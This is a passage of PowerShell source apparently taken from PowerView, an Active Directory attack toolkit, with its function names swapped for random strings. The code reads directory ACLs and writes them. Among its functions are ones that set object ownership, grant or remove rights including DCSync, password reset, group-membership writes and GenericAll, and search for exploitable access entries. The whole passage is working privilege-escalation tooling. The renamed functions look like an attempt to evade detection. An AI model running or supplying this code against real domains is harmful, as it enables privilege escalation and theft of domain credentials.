$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$OwnerSid = H86VA398 @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid | |
if ($OwnerSid) { | |
$OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid | |
} | |
else { | |
Write-Warning "[NC48X0KGOwner] Error parsing owner identity '$OwnerIdentity'" | |
} | |
} | |
PROCESS { | |
if ($OwnerIdentityReference) { | |
$SearcherArguments['Raw'] = $True | |
$SearcherArguments['Identity'] = $Identity | |
$RawObject = H86VA398 @SearcherArguments | |
ForEach ($Object in $RawObject) { | |
try { | |
Write-Verbose "[NC48X0KGOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" | |
$Entry = $RawObject.GetDirectoryEntry() | |
$Entry.PsBase.Options.SecurityMasks = 'Owner' | |
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) | |
$Entry.PsBase.CommitChanges() | |
} | |
catch { | |
Write-Warning "[NC48X0KGOwner] Error setting owner: $_" | |
} | |
} | |
} | |
} | |
} | |
function H86VA398Acl { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ACL')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$Sacl, | |
[Switch] | |
$ResolveGUIDs, | |
[String] | |
[Alias('Rights')] | |
[ValidateSet('All', 'ResetPassword', 'WriteMembers')] | |
$RightsFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{ | |
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' | |
} | |
if ($PSBoundParameters['Sacl']) { | |
$SearcherArguments['SecurityMasks'] = 'Sacl' | |
} | |
else { | |
$SearcherArguments['SecurityMasks'] = 'Dacl' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$Searcher = 4I4THHU7 @SearcherArguments | |
$DomainGUIDMapArguments = @{} | |
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } | |
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ResolveGUIDs']) { | |
$GUIDs = 9MLE7JJS @DomainGUIDMapArguments | |
} | |
} | |
PROCESS { | |
if ($Searcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-.*') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[H86VA398Acl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$Searcher = 4I4THHU7 @SearcherArguments | |
if (-not $Searcher) { | |
Write-Warning "[H86VA398Acl] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('.')) { | |
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" | |
} | |
else { | |
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[H86VA398Acl] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
if ($Filter) { | |
$Searcher.filter = "(&$Filter)" | |
} | |
Write-Verbose "[H86VA398Acl] H86VA398Acl filter string: $($Searcher.filter)" | |
$Results = $Searcher.FindAll() | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Object = $_.Properties | |
if ($Object.objectsid -and $Object.objectsid[0]) { | |
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value | |
} | |
else { | |
$ObjectSid = $Null | |
} | |
try { | |
New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { | |
if ($PSBoundParameters['RightsFilter']) { | |
$GuidFilter = Switch ($RightsFilter) { | |
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } | |
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } | |
Default { '00000000-0000-0000-0000-000000000000' } | |
} | |
if ($_.ObjectType -eq $GuidFilter) { | |
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] | |
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid | |
$Continue = $True | |
} | |
} | |
else { | |
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] | |
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid | |
$Continue = $True | |
} | |
if ($Continue) { | |
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) | |
if ($GUIDs) { | |
$AclProperties = @{} | |
$_.psobject.properties | ForEach-Object { | |
if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { | |
try { | |
$AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] | |
} | |
catch { | |
$AclProperties[$_.Name] = $_.Value | |
} | |
} | |
else { | |
$AclProperties[$_.Name] = $_.Value | |
} | |
} | |
$OutObject = New-Object -TypeName PSObject -Property $AclProperties | |
$OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') | |
$OutObject | |
} | |
else { | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') | |
$_ | |
} | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[H86VA398Acl] Error: $_" | |
} | |
} | |
} | |
} | |
} | |
function 0B2BG4XQ { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$TargetIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$TargetDomain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$TargetLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$TargetSearchBase, | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$PrincipalIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$PrincipalDomain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] | |
[String] | |
$Rights = 'All', | |
[Guid] | |
$RightsGUID | |
) | |
BEGIN { | |
$TargetSearcherArguments = @{ | |
'Properties' = 'distinguishedname' | |
'Raw' = $True | |
} | |
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } | |
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } | |
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } | |
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } | |
$PrincipalSearcherArguments = @{ | |
'Identity' = $PrincipalIdentity | |
'Properties' = 'distinguishedname,objectsid' | |
} | |
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } | |
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } | |
$Principals = H86VA398 @PrincipalSearcherArguments | |
if (-not $Principals) { | |
throw "Unable to resolve principal: $PrincipalIdentity" | |
} | |
} | |
PROCESS { | |
$TargetSearcherArguments['Identity'] = $TargetIdentity | |
$Targets = H86VA398 @TargetSearcherArguments | |
ForEach ($TargetObject in $Targets) { | |
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' | |
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' | |
$ACEs = @() | |
if ($RightsGUID) { | |
$GUIDs = @($RightsGUID) | |
} | |
else { | |
$GUIDs = Switch ($Rights) { | |
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } | |
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } | |
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} | |
} | |
} | |
ForEach ($PrincipalObject in $Principals) { | |
Write-Verbose "[0B2BG4XQ] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" | |
try { | |
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) | |
if ($GUIDs) { | |
ForEach ($GUID in $GUIDs) { | |
$NewGUID = New-Object Guid $GUID | |
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' | |
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType | |
} | |
} | |
else { | |
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' | |
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType | |
} | |
ForEach ($ACE in $ACEs) { | |
Write-Verbose "[0B2BG4XQ] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" | |
$TargetEntry = $TargetObject.GetDirectoryEntry() | |
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' | |
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) | |
$TargetEntry.PsBase.CommitChanges() | |
} | |
} | |
catch { | |
Write-Verbose "[0B2BG4XQ] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" | |
} | |
} | |
} | |
} | |
} | |
function 6AJ5YKXL { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$TargetIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$TargetDomain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$TargetLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$TargetSearchBase, | |
[Parameter(Mandatory = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$PrincipalIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$PrincipalDomain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] | |
[String] | |
$Rights = 'All', | |
[Guid] | |
$RightsGUID | |
) | |
BEGIN { | |
$TargetSearcherArguments = @{ | |
'Properties' = 'distinguishedname' | |
'Raw' = $True | |
} | |
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } | |
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } | |
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } | |
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } | |
$PrincipalSearcherArguments = @{ | |
'Identity' = $PrincipalIdentity | |
'Properties' = 'distinguishedname,objectsid' | |
} | |
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } | |
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } | |
$Principals = H86VA398 @PrincipalSearcherArguments | |
if (-not $Principals) { | |
throw "Unable to resolve principal: $PrincipalIdentity" | |
} | |
} | |
PROCESS { | |
$TargetSearcherArguments['Identity'] = $TargetIdentity | |
$Targets = H86VA398 @TargetSearcherArguments | |
ForEach ($TargetObject in $Targets) { | |
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' | |
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' | |
$ACEs = @() | |
if ($RightsGUID) { | |
$GUIDs = @($RightsGUID) | |
} | |
else { | |
$GUIDs = Switch ($Rights) { | |
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } | |
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } | |
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} | |
} | |
} | |
ForEach ($PrincipalObject in $Principals) { | |
Write-Verbose "[6AJ5YKXL] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" | |
try { | |
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) | |
if ($GUIDs) { | |
ForEach ($GUID in $GUIDs) { | |
$NewGUID = New-Object Guid $GUID | |
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' | |
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType | |
} | |
} | |
else { | |
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' | |
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType | |
} | |
ForEach ($ACE in $ACEs) { | |
Write-Verbose "[6AJ5YKXL] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" | |
$TargetEntry = $TargetObject.GetDirectoryEntry() | |
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' | |
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) | |
$TargetEntry.PsBase.CommitChanges() | |
} | |
} | |
catch { | |
Write-Verbose "[6AJ5YKXL] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" | |
} | |
} | |
} | |
} | |
} | |
function MBXG42K5 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ACL')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DomainName', 'Name')] | |
[String] | |
$Domain, | |
[Switch] | |
$ResolveGUIDs, | |
[String] | |
[ValidateSet('All', 'ResetPassword', 'WriteMembers')] | |
$RightsFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$ACLArguments = @{} | |
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } | |
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } | |
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } | |
$ObjectSearcherArguments = @{ | |
'Properties' = 'samaccountname,objectclass' | |
'Raw' = $True | |
} | |
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } | |
$ADNameArguments = @{} | |
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } | |
$ResolvedSIDs = @{} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$ACLArguments['Domain'] = $Domain | |
$ADNameArguments['Domain'] = $Domain | |
} | |
H86VA398Acl @ACLArguments | ForEach-Object { | |
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { | |
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { | |
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { | |
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] | |
$InterestingACL = New-Object PSObject | |
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN | |
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier | |
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights | |
if ($_.ObjectAceType) { | |
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType | |
} | |
else { | |
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' | |
} | |
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags | |
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType | |
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags | |
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass | |
$InterestingACL | |
} | |
else { | |
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments | |
if ($IdentityReferenceDN) { | |
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain | |
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN | |
$Object = H86VA398 @ObjectSearcherArguments | |
if ($Object) { | |
$IdentityReferenceName = $Object.Properties.samaccountname[0] | |
if ($Object.Properties.objectclass -match 'computer') { | |
$IdentityReferenceClass = 'computer' | |
} | |
elseif ($Object.Properties.objectclass -match 'group') { | |
$IdentityReferenceClass = 'group' | |
} | |
elseif ($Object.Properties.objectclass -match 'user') { | |
$IdentityReferenceClass = 'user' | |
} | |
else { | |
$IdentityReferenceClass = $Null | |
} | |
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass | |
$InterestingACL = New-Object PSObject | |
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN | |
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier | |
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights | |
if ($_.ObjectAceType) { | |
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType | |
} | |
else { | |
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' | |
} | |
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags | |
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType | |
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags | |
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN | |
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass | |
$InterestingACL | |
} | |
} | |
else { | |
Write-Warning "[MBXG42K5] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
function 5LD7ZSFI { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.OU')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
[Alias('GUID')] | |
$GPLink, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
